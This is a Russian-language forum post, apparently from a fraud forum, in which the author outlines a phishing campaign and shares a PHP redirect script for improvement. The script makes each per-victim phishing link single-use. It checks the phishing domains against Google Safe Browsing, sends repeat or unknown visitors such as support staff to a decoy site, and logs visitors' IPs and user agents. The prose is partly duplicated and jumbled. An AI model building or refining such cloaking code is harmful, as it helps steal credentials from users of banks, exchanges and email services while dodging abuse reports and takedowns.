При рассылке фишинга, бдительные пользователи зачастую переотправляют фишинг письма в саппорт, где сап с легкостью тянет наш
Моя идея такова, чтобы каждый заход на фэйк по
1)Джон получает фишинг письмо, переходит по ссылке, вводит пароль и отправляется в зависимости от разводки
2)Но Джон заподозрил что-то неладное, и пересылает наше письмо в службу поддержки (Email сервиса,биржы,банка) с вопросом WTF?
3)Билл из службы поддержки получает письмо от Джона, переходит по линку и видет там фишинг сайт.Шлет абузы по всем направлениям.
Суть в том, что после того как Джон перейдет по ссылке заточенной под него
Вижу схему так-регаем кучу доменов недорогих .XYZ для редиректа, пару фишинг доменов для фэйка.
В само письмо вставляем ссылку вида
В сам фильтр будет встроен чекер доменов фэйка на Safe Browsing и чекер уникальности и редирект.
Если заход уникален, чекаем фишинг домен на Safe Browsing, если первый(или последний в списке) домен чист то редиректим на
Собственно все это реализовано уже, но скрипт желательно посмотреть кодеру, так как я не кодер, собрал его через гугл.Прошу помощи допилить его до правильного кода и мб добавить какие идеи по этой реализации и в целом по защите фэйков.Спасибо
переходит на него, видит что фишинг и шлет абузу по домену, хостингу, трампу в телегу.<a href="evil.com/?id=holdermail@mail.cc">
Моя идея такова, чтобы каждый заход на фэйк по
был одноразовым.То есть
1)Джон получает фишинг письмо, переходит по ссылке, вводит пароль и отправляется в зависимости от разводки
2)Но Джон заподозрил что-то неладное, и пересылает наше письмо в службу поддержки (Email сервиса,биржы,банка) с вопросом WTF?
3)Билл из службы поддержки получает письмо от Джона, переходит по линку и видет там фишинг сайт.Шлет абузы по всем направлениям.
Суть в том, что после того как Джон перейдет по ссылке заточенной под него
, то при повторном заходе по этой же ссылке,будет открываться не фишинг сайт, а наш белый сайт (либо pornhub, закос под рассылку порнухи или датинг).evil.com/?id=john@mail.cc
Вижу схему так-регаем кучу доменов недорогих .XYZ для редиректа, пару фишинг доменов для фэйка.
В само письмо вставляем ссылку вида
, где in.php и будет наш фильтр.redirect.xyz/in.php?id=john@mail.cc
В сам фильтр будет встроен чекер доменов фэйка на Safe Browsing и чекер уникальности и редирект.
Если заход уникален, чекаем фишинг домен на Safe Browsing, если первый(или последний в списке) домен чист то редиректим на
, если заход повторный то редиректим на белое.evil.com/?id=john@mail.cc
Собственно все это реализовано уже, но скрипт желательно посмотреть кодеру, так как я не кодер, собрал его через гугл.Прошу помощи допилить его до правильного кода и мб добавить какие идеи по этой реализации и в целом по защите фэйков.Спасибо
PHP:
<?php
ob_start();
$curl = curl_init();
################################ Setup
$user = $_GET['id'];
$remove_user = "true"; //Включаем или отключаем фильтр по уникальности
$white_link = "https://dating.com"; // Белый линк
$good_base = file("good_mail",FILE_IGNORE_NEW_LINES); // Файл со списком Email на которые была рассылка, из него будем удалять мыла по мере работы
$filtred_mail = 'filtred_mail'; // Пишем сюда мыла которые отфильтровались
$good_log = 'fullog_index'; // Пишем сюда все заходы на скрипт
################################
$domains = array(
"https://evil.com/index.php?id=",
"https://evil2.com/index.php?id="
);
function check_gsb($domain)
{
global $curl;
$params = array(
"client" => array(
"clientId" => "yourcompanyname",
"clientVersion" => "1.5.2"
),
"threatInfo" => array(
"threatTypes" => ["MALWARE", "SOCIAL_ENGINEERING"],
"platformTypes" => ["WINDOWS"],
"threatEntryTypes" => ["URL"],
"threatEntries" => array(
"url" => $domain
)
),
);
$options = array(
CURLOPT_URL => "https://safebrowsing.googleapis.com/v4/threatMatches:find?key=111111111111111111111",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => json_encode($params),
CURLOPT_HTTPHEADER => array(
"cache-control: no-cache",
"content-type: application/json",
"postman-token: b05b8d34-85f2-49cf-0f8e-03686a71e4e9"
),
);
curl_setopt_array($curl, $options);
$response = curl_exec($curl);
return $response;
}
//Check bad traffic
if (!isset($user) or empty($user)){ //If ID none or = null
header('Location: '.$white_link.'');}
if (!in_array($user, $good_base)){ //If ID non contain in goodmail
$data = $user. ":".$_SERVER["REMOTE_ADDR"].":".$_SERVER["HTTP_USER_AGENT"];
file_put_contents($filtred_mail, print_r($data, true), FILE_APPEND);
file_put_contents($filtred_mail, print_r("\r\n" , true), FILE_APPEND);
header('Location: '.$white_link.'');}
//Good Redirect to Fake
else {
foreach ($domains as $domain) {
$main_response = check_gsb($domain);
if (strlen($main_response) < 4) {
header('Location: '.$domain.$user);
} else {continue; }
}}
if ($remove_user == "true"){
$data = file("good_mail");
$out = array();
foreach ($data as $line) {
if(trim($line) != $user) {
$out[] = $line;
}
}
$fp = fopen("good_mail", "w+");
flock( $fp , LOCK_EX);
foreach ($out as $line) {
fwrite ($fp , $line);
}
flock($fp, LOCK_UN);
fclose($fp); }
function getUserIP()
{
$realip = @$_SERVER['HTTP_X_REAL_IP'];
$client = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote = $_SERVER['REMOTE_ADDR'];
$ip = $remote;
if(filter_var($realip, FILTER_VALIDATE_IP))
{$ip = $realip; }
elseif(filter_var($client, FILTER_VALIDATE_IP))
{$ip = $client;}
elseif(filter_var($forward, FILTER_VALIDATE_IP))
{$ip = $forward;}
else {$ip = $remote;}
return $ip;}
$realIP = getUserIP();
#full log
file_put_contents($good_log, print_r($_SERVER["HTTP_X_REAL_IP"] , true), FILE_APPEND);
file_put_contents($good_log, print_r(" " , true), FILE_APPEND);
file_put_contents($good_log, print_r($realIP, true), FILE_APPEND);
file_put_contents($good_log, print_r(" " , true), FILE_APPEND);
file_put_contents($good_log, print_r($_SERVER["REMOTE_ADDR"] , true), FILE_APPEND);
file_put_contents($good_log, print_r(" " , true), FILE_APPEND);
file_put_contents($good_log, print_r($_SERVER["HTTP_USER_AGENT"], true), FILE_APPEND);
file_put_contents($good_log, print_r(" " , true), FILE_APPEND);
file_put_contents($good_log, print_r($_GET, true), FILE_APPEND);
file_put_contents($good_log, print_r("######################################################\n\r" , true), FILE_APPEND);
curl_close($curl);
?>